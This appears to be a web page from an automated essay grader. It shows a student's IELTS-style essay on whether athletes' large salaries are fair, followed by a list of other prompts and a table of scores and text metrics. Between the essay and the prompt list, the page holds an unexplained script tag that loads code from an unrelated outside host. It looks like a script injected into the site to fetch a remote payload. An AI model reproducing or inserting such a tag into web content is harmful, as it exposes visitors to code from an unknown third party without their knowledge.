Successful sports professionals can earn a great deal more money than people in other important professions. Some people think this is fully justified while others think it is unfair. Discuss both these views and give your own opinion.
In our business world, each worker has an especial incoming, which is different between different careers. It is true that income of a famous sport player or a movie actor is far large that the ones of other careers. Some people believe this result is fair while others are against it.
To beginning with, no one can deny effect of celebrities on our life. They bring a wide variety of entertainment to our life. For example, when watching world club we are exiting and some of us are big fan of Messi and other players. Therefore, it seems to fare those players have more incoming at least because of Audiences’ feeling. In addition, these people can play as a sport player or as an actor just for a while. They have to try hard to being succeed during the short while. Thus, it is acceptable that sport professionals receive a large amount of money when they can play in the field before earlier retirement compared to other careers.
On the other hand, some people believe that this difference in incomes is significantly unfair to other professions. For example, teachers, doctors, judges who have a very important careers in each society. A teacher up brings our next generation, a doctor is a person that cure patients, and a judge create rules and defended justice. These entire people do the best thing for people and future of their country. Although, we must notice that, salary of these people paid by the governments. If governments have more budget, obviously salary of these people has will be increased.
To express briefly, in my opinion the huge salary paid to these celebrities is justified because they earning that money from their employers by doing their jobs of entertaining and raising profits for their employers.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- People attend college or university for many different reasons (for example, new experiences, career preparation, increased knowledge).Why do you think people attend college or university? Use specific reasons and examples to support your answer. 65
- Tobacco and alcohol are drugs that cause addition and health problems Should they be made illegal Or should all drugs be legalized 91
- Your computer has been repaired recently, but you are not happy with the service. Write a complaint letter and say- What is the problem?- How do you feel about it?- What is your suggestion for this issue? 74
- Some people say that living in high-rise apartments feels very lonely and makes people unhappy. Others say there are advantages to living in a big apartment building. Discuss both views and give your own opinion 84
- Illiteracy has traditionally been viewed as largely a third world problem However it is becoming apparent that in countries such as the USA and Australia illiteracy is on the increase Discuss possible causes for this and its effect on society 72
obviously salary of these people has will be increased.
Description: A verb 'to have', present tense, 3rd person singular is not usually followed by a modal auxillary
Suggestion: Refer to has and will
Attribute Value Ideal
Score: 7.0 out of 9
Category: Good Excellent
No. of Grammatical Errors: 1 2
No. of Spelling Errors: 0 2
No. of Sentences: 17 15
No. of Words: 299 350
No. of Characters: 1402 1500
No. of Different Words: 174 200
Fourth Root of Number of Words: 4.158 4.7
Average Word Length: 4.689 4.6
Word Length SD: 2.474 2.4
No. of Words greater than 5 chars: 98 100
No. of Words greater than 6 chars: 67 80
No. of Words greater than 7 chars: 35 40
No. of Words greater than 8 chars: 24 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 17.588 21.0
Sentence Length SD: 6.269 7.5
Use of Discourse Markers (%): 0.647 0.12
Sentence-Text Coherence: 0.293 0.35
Sentence-Para Coherence: 0.485 0.50
Sentence-Sentence Coherence: 0.082 0.07
Number of Paragraphs: 4 5